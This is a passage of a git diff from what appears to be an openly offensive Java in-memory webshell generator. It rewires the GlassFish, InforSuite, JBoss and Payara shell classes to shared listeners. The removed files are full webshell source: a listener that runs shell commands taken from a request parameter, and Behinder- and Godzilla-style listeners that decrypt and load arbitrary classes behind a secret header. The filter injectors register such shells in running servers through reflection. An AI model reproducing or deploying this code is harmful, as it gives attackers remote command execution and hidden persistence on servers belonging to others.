diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/GlassFishShell.java b/generator/src/main/java/com/reajason/javaweb/memshell/GlassFishShell.java index f068810f..305c6dce 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/GlassFishShell.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/GlassFishShell.java @@ -1,10 +1,6 @@ package com.reajason.javaweb.memshell; import com.reajason.javaweb.memshell.config.Constants; -import com.reajason.javaweb.memshell.config.ShellTool; -import com.reajason.javaweb.memshell.glassfish.behinder.BehinderListener; -import com.reajason.javaweb.memshell.glassfish.command.CommandListener; -import com.reajason.javaweb.memshell.glassfish.godzilla.GodzillaListener; import com.reajason.javaweb.memshell.glassfish.injector.GlassFishFilterInjector; import com.reajason.javaweb.memshell.glassfish.injector.GlassFishListenerInjector; import com.reajason.javaweb.memshell.glassfish.injector.GlassFishValveInjector; @@ -14,9 +10,11 @@ import com.reajason.javaweb.memshell.shelltool.command.CommandFilter; import com.reajason.javaweb.memshell.shelltool.command.CommandValve; import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter; import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaValve; +import com.reajason.javaweb.memshell.tomcat.behinder.BehinderListener; +import com.reajason.javaweb.memshell.tomcat.command.CommandListener; +import com.reajason.javaweb.memshell.tomcat.godzilla.GodzillaListener; import org.apache.commons.lang3.tuple.Pair; -import java.util.List; import java.util.Map; /** diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/InforSuiteShell.java b/generator/src/main/java/com/reajason/javaweb/memshell/InforSuiteShell.java index 83c13e52..cd4022d8 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/InforSuiteShell.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/InforSuiteShell.java @@ -1,9 +1,6 @@ package com.reajason.javaweb.memshell; import com.reajason.javaweb.memshell.config.Constants; -import com.reajason.javaweb.memshell.glassfish.behinder.BehinderListener; -import com.reajason.javaweb.memshell.glassfish.command.CommandListener; -import com.reajason.javaweb.memshell.glassfish.godzilla.GodzillaListener; import com.reajason.javaweb.memshell.glassfish.injector.GlassFishListenerInjector; import com.reajason.javaweb.memshell.glassfish.injector.GlassFishValveInjector; import com.reajason.javaweb.memshell.inforsuite.injector.InforSuiteFilterInjector; @@ -13,6 +10,9 @@ import com.reajason.javaweb.memshell.shelltool.command.CommandFilter; import com.reajason.javaweb.memshell.shelltool.command.CommandValve; import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter; import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaValve; +import com.reajason.javaweb.memshell.tomcat.behinder.BehinderListener; +import com.reajason.javaweb.memshell.tomcat.command.CommandListener; +import com.reajason.javaweb.memshell.tomcat.godzilla.GodzillaListener; import org.apache.commons.lang3.tuple.Pair; import java.util.Map; diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/JbossShell.java b/generator/src/main/java/com/reajason/javaweb/memshell/JbossShell.java index 0155874d..036aa303 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/JbossShell.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/JbossShell.java @@ -1,18 +1,16 @@ package com.reajason.javaweb.memshell; import com.reajason.javaweb.memshell.config.Constants; -import com.reajason.javaweb.memshell.config.ShellTool; -import com.reajason.javaweb.memshell.jboss.behinder.BehinderListener; -import com.reajason.javaweb.memshell.jboss.command.CommandListener; -import com.reajason.javaweb.memshell.jboss.godzilla.GodzillaListener; import com.reajason.javaweb.memshell.jboss.injector.JbossFilterInjector; import com.reajason.javaweb.memshell.jboss.injector.JbossListenerInjector; import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter; import com.reajason.javaweb.memshell.shelltool.command.CommandFilter; import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter; +import com.reajason.javaweb.memshell.tomcat.behinder.BehinderListener; +import com.reajason.javaweb.memshell.tomcat.command.CommandListener; +import com.reajason.javaweb.memshell.tomcat.godzilla.GodzillaListener; import org.apache.commons.lang3.tuple.Pair; -import java.util.List; import java.util.Map; /** diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/PayaraShell.java b/generator/src/main/java/com/reajason/javaweb/memshell/PayaraShell.java index 05c7a1ad..7b73da43 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/PayaraShell.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/PayaraShell.java @@ -1,9 +1,9 @@ package com.reajason.javaweb.memshell; import com.reajason.javaweb.memshell.config.Constants; -import com.reajason.javaweb.memshell.glassfish.behinder.BehinderListener; -import com.reajason.javaweb.memshell.glassfish.command.CommandListener; -import com.reajason.javaweb.memshell.glassfish.godzilla.GodzillaListener; +import com.reajason.javaweb.memshell.tomcat.behinder.BehinderListener; +import com.reajason.javaweb.memshell.tomcat.command.CommandListener; +import com.reajason.javaweb.memshell.tomcat.godzilla.GodzillaListener; import com.reajason.javaweb.memshell.payara.injector.PayaraFilterInjector; import com.reajason.javaweb.memshell.payara.injector.PayaraListenerInjector; import com.reajason.javaweb.memshell.payara.injector.PayaraValveInjector; diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/glassfish/behinder/BehinderListener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/glassfish/behinder/BehinderListener.java deleted file mode 100644 index 6622671a..00000000 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/glassfish/behinder/BehinderListener.java +++ /dev/null @@ -1,126 +0,0 @@ -package com.reajason.javaweb.memshell.glassfish.behinder; - -import javax.crypto.Cipher; -import javax.crypto.spec.SecretKeySpec; -import javax.servlet.ServletRequestEvent; -import javax.servlet.ServletRequestListener; -import javax.servlet.http.HttpServletRequest; -import javax.servlet.http.HttpServletResponse; -import javax.servlet.http.HttpSession; -import java.lang.reflect.Field; -import java.util.HashMap; -import java.util.Map; - -/** - * @author ReaJason - * @since 2024/12/21 - */ -public class BehinderListener extends ClassLoader implements ServletRequestListener { - public String pass = "{{pass}}"; - public String headerName = "{{headerName}}"; - public String headerValue = "{{headerValue}}"; - - public BehinderListener() { - } - - public BehinderListener(ClassLoader z) { - super(z); - } - - @SuppressWarnings("all") - public static Object getFieldValue(Object obj, String name) throws Exception { - Field field = null; - Class clazz = obj.getClass(); - while (clazz != Object.class) { - try { - field = clazz.getDeclaredField(name); - break; - } catch (NoSuchFieldException var5) { - clazz = clazz.getSuperclass(); - } - } - if (field == null) { - throw new NoSuchFieldException(name); - } else { - field.setAccessible(true); - return field.get(obj); - } - } - - @SuppressWarnings("all") - public static byte[] base64Decode(String bs) { - byte[] value = null; - Class base64; - try { - base64 = Class.forName("java.util.Base64"); - Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null); - value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs); - } catch (Exception var6) { - try { - base64 = Class.forName("sun.misc.BASE64Decoder"); - Object decoder = base64.newInstance(); - value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs); - } catch (Exception ignored) { - } - } - return value; - } - - @SuppressWarnings("deprecation") - public Class g(byte[] cb) { - return super.defineClass(cb, 0, cb.length); - } - - @Override - public void requestDestroyed(ServletRequestEvent servletRequestEvent) { - } - - @Override - @SuppressWarnings("all") - public void requestInitialized(ServletRequestEvent servletRequestEvent) { - HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest(); - try { - if (request.getHeader(headerName) != null - && request.getHeader(headerName).contains(headerValue)) { - HttpServletResponse response = this.getResponseFromRequest(request); - HttpSession session = ((HttpServletRequest) request).getSession(); - Map obj = new HashMap(3); - obj.put("request", request); - obj.put("response", getInternalResponse(response)); - obj.put("session", session); - session.setAttribute("u", this.pass); - Cipher c = Cipher.getInstance("AES"); - c.init(2, new SecretKeySpec(this.pass.getBytes(), "AES")); - byte[] bytes = c.doFinal(base64Decode(request.getReader().readLine())); - Object instance = (new BehinderListener(this.getClass().getClassLoader())).g(bytes).newInstance(); - instance.equals(obj); - } - } catch (Exception ignored) { - } - } - - public HttpServletResponse getInternalResponse(HttpServletResponse response) { - while (true) { - try { - response = (HttpServletResponse) getFieldValue(response, "response"); - } catch (Exception e) { - return response; - } - } - } - - private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception { - HttpServletResponse response = null; - try { - response = (HttpServletResponse) getFieldValue(getFieldValue(request, "request"), "response"); - } catch (Exception e) { - try { - response = (HttpServletResponse) getFieldValue(request, "response"); - } catch (Exception ee) { - response = (HttpServletResponse) getFieldValue(getFieldValue(request, "reqFacHelper"), "response"); - } - } - return response; - } - -} diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/glassfish/command/CommandListener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/glassfish/command/CommandListener.java deleted file mode 100644 index 4cfbd823..00000000 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/glassfish/command/CommandListener.java +++ /dev/null @@ -1,79 +0,0 @@ -package com.reajason.javaweb.memshell.glassfish.command; - -import javax.servlet.ServletOutputStream; -import javax.servlet.ServletRequestEvent; -import javax.servlet.ServletRequestListener; -import javax.servlet.http.HttpServletRequest; -import javax.servlet.http.HttpServletResponse; -import java.io.InputStream; -import java.lang.reflect.Field; - -/** - * @author ReaJason - */ -public class CommandListener implements ServletRequestListener { - public String paramName = "{{paramName}}"; - - public CommandListener() { - } - - @Override - public void requestDestroyed(ServletRequestEvent sre) { - - } - - @Override - public void requestInitialized(ServletRequestEvent servletRequestEvent) { - HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest(); - try { - String cmd = request.getParameter(paramName); - if (cmd != null) { - HttpServletResponse servletResponse = this.getResponseFromRequest(request); - Process exec = Runtime.getRuntime().exec(cmd); - InputStream inputStream = exec.getInputStream(); - ServletOutputStream outputStream = servletResponse.getOutputStream(); - byte[] buf = new byte[8192]; - int length; - while ((length = inputStream.read(buf)) != -1) { - outputStream.write(buf, 0, length); - } - } - } catch (Exception ignored) { - } - } - - private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception { - HttpServletResponse response = null; - try { - response = (HttpServletResponse) getFieldValue(getFieldValue(request, "request"), "response"); - } catch (Exception e) { - try { - response = (HttpServletResponse) getFieldValue(request, "response"); - } catch (Exception ee) { - response = (HttpServletResponse) getFieldValue(getFieldValue(request, "reqFacHelper"), "response"); - } - } - return response; - } - - - @SuppressWarnings("all") - public static synchronized Object getFieldValue(Object obj, String name) throws Exception { - Field field = null; - Class clazz = obj.getClass(); - while (clazz != Object.class) { - try { - field = clazz.getDeclaredField(name); - break; - } catch (NoSuchFieldException var5) { - clazz = clazz.getSuperclass(); - } - } - if (field == null) { - throw new NoSuchFieldException(name); - } else { - field.setAccessible(true); - return field.get(obj); - } - } -} diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/glassfish/godzilla/GodzillaListener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/glassfish/godzilla/GodzillaListener.java deleted file mode 100644 index 0d8beef3..00000000 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/glassfish/godzilla/GodzillaListener.java +++ /dev/null @@ -1,152 +0,0 @@ -package com.reajason.javaweb.memshell.glassfish.godzilla; - -import javax.crypto.Cipher; -import javax.crypto.spec.SecretKeySpec; -import javax.servlet.ServletRequestEvent; -import javax.servlet.ServletRequestListener; -import javax.servlet.http.HttpServletRequest; -import javax.servlet.http.HttpServletResponse; -import javax.servlet.http.HttpSession; -import java.io.ByteArrayOutputStream; -import java.lang.reflect.Field; - -/** - * @author ReaJason - */ -public class GodzillaListener extends ClassLoader implements ServletRequestListener { - public String key = "{{key}}"; - public String pass = "{{pass}}"; - public String md5 = "{{md5}}"; - public String headerName = "{{headerName}}"; - public String headerValue = "{{headerValue}}"; - - public GodzillaListener() { - } - - public GodzillaListener(ClassLoader z) { - super(z); - } - - @SuppressWarnings("all") - public static synchronized Object getFieldValue(Object obj, String name) throws Exception { - Field field = null; - Class clazz = obj.getClass(); - while (clazz != Object.class) { - try { - field = clazz.getDeclaredField(name); - break; - } catch (NoSuchFieldException var5) { - clazz = clazz.getSuperclass(); - } - } - if (field == null) { - throw new NoSuchFieldException(name); - } else { - field.setAccessible(true); - return field.get(obj); - } - } - - @SuppressWarnings("all") - public static String base64Encode(byte[] bs) throws Exception { - String value = null; - Class base64; - try { - base64 = Class.forName("java.util.Base64"); - Object encoder = base64.getMethod("getEncoder", (Class[]) null).invoke(base64, (Object[]) null); - value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs); - } catch (Exception var6) { - try { - base64 = Class.forName("sun.misc.BASE64Encoder"); - Object encoder = base64.newInstance(); - value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs); - } catch (Exception ignored) { - } - } - return value; - } - - @SuppressWarnings("all") - public static byte[] base64Decode(String bs) { - byte[] value = null; - Class base64; - try { - base64 = Class.forName("java.util.Base64"); - Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null); - value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs); - } catch (Exception var6) { - try { - base64 = Class.forName("sun.misc.BASE64Decoder"); - Object decoder = base64.newInstance(); - value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs); - } catch (Exception ignored) { - } - } - return value; - } - - @SuppressWarnings("deprecation") - public Class Q(byte[] cb) { - return super.defineClass(cb, 0, cb.length); - } - - public byte[] x(byte[] s, boolean m) { - try { - Cipher c = Cipher.getInstance("AES"); - c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES")); - return c.doFinal(s); - } catch (Exception var4) { - return null; - } - } - - @Override - public void requestDestroyed(ServletRequestEvent servletRequestEvent) { - } - - @Override - @SuppressWarnings("all") - public void requestInitialized(ServletRequestEvent servletRequestEvent) { - HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest(); - try { - if (request.getHeader(headerName) != null - && request.getHeader(headerName).contains(headerValue)) { - HttpServletResponse response = this.getResponseFromRequest(request); - HttpSession session = request.getSession(); - byte[] data = base64Decode(request.getParameter(pass)); - data = this.x(data, false); - if (session.getAttribute("payload") == null) { - session.setAttribute( - "payload", - (new GodzillaListener(this.getClass().getClassLoader())).Q(data)); - } else { - request.setAttribute("parameters", data); - ByteArrayOutputStream arrOut = new ByteArrayOutputStream(); - Object f = ((Class) session.getAttribute("payload")).newInstance(); - f.equals(arrOut); - f.equals(request); - response.getWriter().write(md5.substring(0, 16)); - f.toString(); - response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true))); - response.getWriter().write(md5.substring(16)); - response.flushBuffer(); - } - } - } catch (Exception ignored) { - } - } - - private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception { - HttpServletResponse response = null; - try { - response = (HttpServletResponse) getFieldValue(getFieldValue(request, "request"), "response"); - } catch (Exception e) { - try { - response = (HttpServletResponse) getFieldValue(request, "response"); - } catch (Exception ee) { - response = (HttpServletResponse) getFieldValue(getFieldValue(request, "reqFacHelper"), "response"); - } - } - return response; - } -} diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/glassfish/injector/GlassFishFilterInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/glassfish/injector/GlassFishFilterInjector.java index 761ac0fe..38833ee0 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/glassfish/injector/GlassFishFilterInjector.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/glassfish/injector/GlassFishFilterInjector.java @@ -100,12 +100,12 @@ public class GlassFishFilterInjector { invokeMethod(context, "addFilterDef", new Class[]{filterDef.getClass()}, new Object[]{filterDef}); invokeMethod(filterMap, "setFilterName", new Class[]{String.class}, new Object[]{filterName}); invokeMethod(filterMap, "setURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()}); - invokeMethod(context, "addFilterMap", new Class[]{filterMap.getClass(), boolean.class}, new Object[]{filterMap, false}); try { invokeMethod(context, "addFilterMapBefore", new Class[]{filterMap.getClass()}, new Object[]{filterMap}); } catch (Exception e) { - invokeMethod(context, "addFilterMap", new Class[]{filterMap.getClass()}, new Object[]{filterMap}); + invokeMethod(context, "addFilterMap", new Class[]{filterMap.getClass(), boolean.class}, new Object[]{filterMap, false}); } + Constructor[] constructors = Class.forName("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructors(); constructors[0].setAccessible(true); Object filterConfig = constructors[0].newInstance(context, filterDef); diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/inforsuite/injector/InforSuiteFilterInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/inforsuite/injector/InforSuiteFilterInjector.java index a6eaad84..cf0bc80b 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/inforsuite/injector/InforSuiteFilterInjector.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/inforsuite/injector/InforSuiteFilterInjector.java @@ -100,12 +100,13 @@ public class InforSuiteFilterInjector { invokeMethod(context, "addFilterDef", new Class[]{filterDef.getClass()}, new Object[]{filterDef}); invokeMethod(filterMap, "setFilterName", new Class[]{String.class}, new Object[]{filterName}); invokeMethod(filterMap, "setURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()}); - invokeMethod(context, "addFilterMap", new Class[]{filterMap.getClass(), boolean.class}, new Object[]{filterMap, false}); + try { invokeMethod(context, "addFilterMapBefore", new Class[]{filterMap.getClass()}, new Object[]{filterMap}); } catch (Exception e) { invokeMethod(context, "addFilterMap", new Class[]{filterMap.getClass()}, new Object[]{filterMap}); } + Constructor[] constructors = Class.forName("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructors(); constructors[0].setAccessible(true); Object filterConfig = constructors[0].newInstance(context, filterDef); diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/jboss/behinder/BehinderListener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/jboss/behinder/BehinderListener.java deleted file mode 100644 index a0d369b0..00000000 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/jboss/behinder/BehinderListener.java +++ /dev/null @@ -1,121 +0,0 @@ -package com.reajason.javaweb.memshell.jboss.behinder; - -import javax.crypto.Cipher; -import javax.crypto.spec.SecretKeySpec; -import javax.servlet.ServletRequestEvent; -import javax.servlet.ServletRequestListener; -import javax.servlet.http.HttpServletRequest; -import javax.servlet.http.HttpServletResponse; -import javax.servlet.http.HttpSession; -import java.lang.reflect.Field; -import java.util.HashMap; -import java.util.Map; - -/** - * @author ReaJason - * @since 2024/12/21 - */ -public class BehinderListener extends ClassLoader implements ServletRequestListener { - public String pass = "{{pass}}"; - public String headerName = "{{headerName}}"; - public String headerValue = "{{headerValue}}"; - - public BehinderListener() { - } - - public BehinderListener(ClassLoader z) { - super(z); - } - - @SuppressWarnings("all") - public static Object getFieldValue(Object obj, String name) throws Exception { - Field field = null; - Class clazz = obj.getClass(); - while (clazz != Object.class) { - try { - field = clazz.getDeclaredField(name); - break; - } catch (NoSuchFieldException var5) { - clazz = clazz.getSuperclass(); - } - } - if (field == null) { - throw new NoSuchFieldException(name); - } else { - field.setAccessible(true); - return field.get(obj); - } - } - - @SuppressWarnings("all") - public static byte[] base64Decode(String bs) { - byte[] value = null; - Class base64; - try { - base64 = Class.forName("java.util.Base64"); - Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null); - value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs); - } catch (Exception var6) { - try { - base64 = Class.forName("sun.misc.BASE64Decoder"); - Object decoder = base64.newInstance(); - value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs); - } catch (Exception ignored) { - } - } - return value; - } - - @SuppressWarnings("deprecation") - public Class g(byte[] cb) { - return super.defineClass(cb, 0, cb.length); - } - - @Override - public void requestDestroyed(ServletRequestEvent servletRequestEvent) { - } - - @Override - @SuppressWarnings("all") - public void requestInitialized(ServletRequestEvent servletRequestEvent) { - HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest(); - try { - if (request.getHeader(headerName) != null - && request.getHeader(headerName).contains(headerValue)) { - HttpServletResponse response = this.getResponseFromRequest(request); - HttpSession session = ((HttpServletRequest) request).getSession(); - Map obj = new HashMap(3); - obj.put("request", request); - obj.put("response", response); - obj.put("session", session); - session.setAttribute("u", this.pass); - Cipher c = Cipher.getInstance("AES"); - c.init(2, new SecretKeySpec(this.pass.getBytes(), "AES")); - byte[] bytes = c.doFinal(base64Decode(request.getReader().readLine())); - Object instance = (new BehinderListener(this.getClass().getClassLoader())).g(bytes).newInstance(); - instance.equals(obj); - } - } catch (Exception ignored) { - } - } - - public HttpServletResponse getInternalResponse(HttpServletResponse response) { - while (true) { - try { - response = (HttpServletResponse) getFieldValue(response, "response"); - } catch (Exception e) { - return response; - } - } - } - - private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception { - HttpServletResponse response = null; - try { - response = (HttpServletResponse) getFieldValue(getFieldValue(request, "request"), "response"); - } catch (Exception e) { - response = (HttpServletResponse) getFieldValue(request, "response"); - } - return response; - } -} \ No newline at end of file diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/jboss/command/CommandListener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/jboss/command/CommandListener.java deleted file mode 100644 index 22ea40dd..00000000 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/jboss/command/CommandListener.java +++ /dev/null @@ -1,74 +0,0 @@ -package com.reajason.javaweb.memshell.jboss.command; - -import javax.servlet.ServletOutputStream; -import javax.servlet.ServletRequestEvent; -import javax.servlet.ServletRequestListener; -import javax.servlet.http.HttpServletRequest; -import javax.servlet.http.HttpServletResponse; -import java.io.InputStream; -import java.lang.reflect.Field; - -/** - * @author ReaJason - */ -public class CommandListener implements ServletRequestListener { - public String paramName = "{{paramName}}"; - - public CommandListener() { - } - - @SuppressWarnings("all") - public static synchronized Object getFieldValue(Object obj, String name) throws Exception { - Field field = null; - Class clazz = obj.getClass(); - while (clazz != Object.class) { - try { - field = clazz.getDeclaredField(name); - break; - } catch (NoSuchFieldException var5) { - clazz = clazz.getSuperclass(); - } - } - if (field == null) { - throw new NoSuchFieldException(name); - } else { - field.setAccessible(true); - return field.get(obj); - } - } - - @Override - public void requestDestroyed(ServletRequestEvent sre) { - - } - - @Override - public void requestInitialized(ServletRequestEvent servletRequestEvent) { - HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest(); - try { - String cmd = request.getParameter(paramName); - if (cmd != null) { - HttpServletResponse servletResponse = this.getResponseFromRequest(request); - Process exec = Runtime.getRuntime().exec(cmd); - InputStream inputStream = exec.getInputStream(); - ServletOutputStream outputStream = servletResponse.getOutputStream(); - byte[] buf = new byte[8192]; - int length; - while ((length = inputStream.read(buf)) != -1) { - outputStream.write(buf, 0, length); - } - } - } catch (Exception ignored) { - } - } - - private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception { - HttpServletResponse response = null; - try { - response = (HttpServletResponse) getFieldValue(getFieldValue(request, "request"), "response"); - } catch (Exception e) { - response = (HttpServletResponse) getFieldValue(request, "response"); - } - return response; - } -} diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/jboss/godzilla/GodzillaListener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/jboss/godzilla/GodzillaListener.java deleted file mode 100644 index 7bd01544..00000000 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/jboss/godzilla/GodzillaListener.java +++ /dev/null @@ -1,148 +0,0 @@ -package com.reajason.javaweb.memshell.jboss.godzilla; - -import javax.crypto.Cipher; -import javax.crypto.spec.SecretKeySpec; -import javax.servlet.ServletRequestEvent; -import javax.servlet.ServletRequestListener; -import javax.servlet.http.HttpServletRequest; -import javax.servlet.http.HttpServletResponse; -import javax.servlet.http.HttpSession; -import java.io.ByteArrayOutputStream; -import java.lang.reflect.Field; - -/** - * @author ReaJason - */ -public class GodzillaListener extends ClassLoader implements ServletRequestListener { - public String key = "{{key}}"; - public String pass = "{{pass}}"; - public String md5 = "{{md5}}"; - public String headerName = "{{headerName}}"; - public String headerValue = "{{headerValue}}"; - - public GodzillaListener() { - } - - public GodzillaListener(ClassLoader z) { - super(z); - } - - @SuppressWarnings("all") - public static synchronized Object getFieldValue(Object obj, String name) throws Exception { - Field field = null; - Class clazz = obj.getClass(); - while (clazz != Object.class) { - try { - field = clazz.getDeclaredField(name); - break; - } catch (NoSuchFieldException var5) { - clazz = clazz.getSuperclass(); - } - } - if (field == null) { - throw new NoSuchFieldException(name); - } else { - field.setAccessible(true); - return field.get(obj); - } - } - - @SuppressWarnings("all") - public static String base64Encode(byte[] bs) throws Exception { - String value = null; - Class base64; - try { - base64 = Class.forName("java.util.Base64"); - Object encoder = base64.getMethod("getEncoder", (Class[]) null).invoke(base64, (Object[]) null); - value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs); - } catch (Exception var6) { - try { - base64 = Class.forName("sun.misc.BASE64Encoder"); - Object encoder = base64.newInstance(); - value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs); - } catch (Exception ignored) { - } - } - return value; - } - - @SuppressWarnings("all") - public static byte[] base64Decode(String bs) { - byte[] value = null; - Class base64; - try { - base64 = Class.forName("java.util.Base64"); - Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null); - value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs); - } catch (Exception var6) { - try { - base64 = Class.forName("sun.misc.BASE64Decoder"); - Object decoder = base64.newInstance(); - value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs); - } catch (Exception ignored) { - } - } - return value; - } - - @SuppressWarnings("deprecation") - public Class Q(byte[] cb) { - return super.defineClass(cb, 0, cb.length); - } - - public byte[] x(byte[] s, boolean m) { - try { - Cipher c = Cipher.getInstance("AES"); - c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES")); - return c.doFinal(s); - } catch (Exception var4) { - return null; - } - } - - @Override - public void requestDestroyed(ServletRequestEvent servletRequestEvent) { - } - - @Override - @SuppressWarnings("all") - public void requestInitialized(ServletRequestEvent servletRequestEvent) { - HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest(); - try { - if (request.getHeader(headerName) != null - && request.getHeader(headerName).contains(headerValue)) { - HttpServletResponse response = this.getResponseFromRequest(request); - HttpSession session = request.getSession(); - byte[] data = base64Decode(request.getParameter(pass)); - data = this.x(data, false); - if (session.getAttribute("payload") == null) { - session.setAttribute( - "payload", - (new GodzillaListener(this.getClass().getClassLoader())).Q(data)); - } else { - request.setAttribute("parameters", data); - ByteArrayOutputStream arrOut = new ByteArrayOutputStream(); - Object f = ((Class) session.getAttribute("payload")).newInstance(); - f.equals(arrOut); - f.equals(request); - response.getWriter().write(md5.substring(0, 16)); - f.toString(); - response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true))); - response.getWriter().write(md5.substring(16)); - response.flushBuffer(); - } - } - } catch (Exception ignored) { - } - } - - private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception { - HttpServletResponse response = null; - try { - response = (HttpServletResponse) getFieldValue(getFieldValue(request, "request"), "response"); - } catch (Exception e) { - response = (HttpServletResponse) getFieldValue(request, "response"); - } - return response; - } -} diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/jboss/injector/JbossFilterInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/jboss/injector/JbossFilterInjector.java index aa104ab8..041fd139 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/jboss/injector/JbossFilterInjector.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/jboss/injector/JbossFilterInjector.java @@ -96,16 +96,15 @@ public class JbossFilterInjector { invokeMethod(filterDef, "setFilterClass", new Class[]{String.class}, new Object[]{filterClassName}); invokeMethod(context, "addFilterDef", new Class[]{filterDef.getClass()}, new Object[]{filterDef}); invokeMethod(filterMap, "setFilterName", new Class[]{String.class}, new Object[]{filterClassName}); - invokeMethod(filterMap, "setDispatcher", new Class[]{String.class}, new Object[]{"REQUEST"}); - Constructor[] constructors; invokeMethod(filterMap, "addURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()}); - constructors = Class.forName("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructors(); try { invokeMethod(context, "addFilterMapBefore", new Class[]{filterMap.getClass()}, new Object[]{filterMap}); } catch (Exception e) { invokeMethod(context, "addFilterMap", new Class[]{filterMap.getClass()}, new Object[]{filterMap}); } + Constructor[] constructors; + constructors = Class.forName("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructors(); constructors[0].setAccessible(true); try { Object filterConfig = constructors[0].newInstance(context, filterDef); diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/payara/injector/PayaraFilterInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/payara/injector/PayaraFilterInjector.java index aa8cc199..0cd552fc 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/payara/injector/PayaraFilterInjector.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/payara/injector/PayaraFilterInjector.java @@ -93,11 +93,10 @@ public class PayaraFilterInjector { invokeMethod(context, "addFilterDef", new Class[]{filterDef.getClass()}, new Object[]{filterDef}); invokeMethod(filterMap, "setFilterName", new Class[]{String.class}, new Object[]{filterName}); invokeMethod(filterMap, "setURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()}); - invokeMethod(context, "addFilterMap", new Class[]{filterMap.getClass(), boolean.class}, new Object[]{filterMap, false}); try { invokeMethod(context, "addFilterMapBefore", new Class[]{filterMap.getClass()}, new Object[]{filterMap}); } catch (Exception e) { - 